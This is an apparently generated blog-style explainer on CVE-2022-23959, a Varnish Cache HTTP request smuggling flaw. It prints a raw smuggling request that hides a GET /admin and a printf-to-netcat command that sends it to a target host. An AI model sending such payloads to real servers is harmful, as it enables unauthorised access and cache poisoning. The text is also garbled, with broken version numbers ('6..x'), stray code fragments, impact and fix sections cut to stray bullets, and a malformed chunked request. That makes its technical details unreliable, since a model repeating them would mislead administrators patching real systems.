Varnish Cache is a popular open-source HTTP accelerator used by high-traffic websites. However, in early 2022, a serious flaw—CVE-2022-23959—was discovered that makes many Varnish installations vulnerable to *HTTP request smuggling*. Let’s break down what this vulnerability means, how it can be exploited, and how to fix your systems—step by step.

Varnish Enterprise (Cache Plus) 4.1.x before 4.1.11r6 and 6..x before 6..9r4

This flaw allows attackers to perform *HTTP request smuggling* attacks under certain circumstances using HTTP/1 connections, potentially sneaking malicious requests past your proxy to your backend—leading to session hijacks, cache poisoning, or information leaks.

> Original reference:  
> Varnish Security Advisory: https://varnish-cache.org/security/VSV00008.html  
> National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-23959

Quick Intro: What’s HTTP Request Smuggling?

In simple terms, *request smuggling* happens when different layers of a web application (like a reverse proxy and a backend server) interpret the boundaries of HTTP requests differently. Attackers craft requests in a special way so that they slip in extra, hidden requests that the proxy doesn’t see, but the backend does.

!Request Smuggling Explained (Diagram)  
*A proxy sees 1 request, the backend sees 2 — That’s request smuggling!*  
(Credit: PortSwigger Web Security)

How Does CVE-2022-23959 Happen in Varnish?

The bug:  
Varnish didn’t strictly validate the way HTTP/1 requests are structured, especially around the separation of request headers and bodies. Specifically, some checks around the Content-Length or Transfer-Encoding headers were too lenient and could be abused.

If an attacker crafts a request with both Content-Length and Transfer-Encoding: chunked headers, Varnish might parse it differently than your backend (like Apache or NGINX), opening the door to request smuggling.

Example: Exploiting CVE-2022-23959 (Code Snippet)

Here’s an example of how an attacker might try to exploit this bug using *curl* and *netcat*, targeting a vulnerable Varnish instance in front of a backend web server.

The Malicious HTTP Smuggling Request

POST / HTTP/1.1
Host: victim.example
Content-Length: 13
Transfer-Encoding: chunked



GET /admin HTTP/1.1
Host: victim.example

Explanation

- Varnish (proxy) may see *one request*, because it prioritizes Transfer-Encoding: chunked and thinks the body ends at \r\n\r\n.
- Backend server may parse using the Content-Length header, treating part of the payload as a new, separate HTTP request—here, a sneaky GET /admin.

Sending the Request Manually (replace HOST and PORT)

printf 'POST / HTTP/1.1\r\nHost: victim.example\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n\r\n\r\nGET /admin HTTP/1.1\r\nHost: victim.example\r\n\r\n' | nc vulnerable-host 80

Cache poisoning: Store attacker-generated content under victim’s cache keys

- Hit backend endpoints that should be private (/admin, or internal APIs)

6..10 (6. LTS)

- 4.1.11r6 / 6..9r4 (Varnish Enterprise)

- Upgrade to the latest Varnish releases

- Download official Varnish packages
 - Varnish Cache 6. LTS
 - Varnish Cache 7.x

}

}
 `

---

## Final Words and References

Request smuggling is a sneaky and powerful attack. If you use Varnish, *don’t assume your proxy will always protect your backend*. This CVE illustrates why keeping your infrastructure up-to-date is crucial.

Further reading:
- PortSwigger: HTTP Request Smuggling Explained
- Varnish Advisory VSV00008
- NVD CVE-2022-23959 Notice

Stay safe, keep your Varnish fresh—and test your proxies!

---

*Exclusive content written for this query. Not copied from any source.*

Timeline

Published on: 01/26/2022 01:15:00 UTC
Last modified on: 08/02/2022 19:35:00 UTC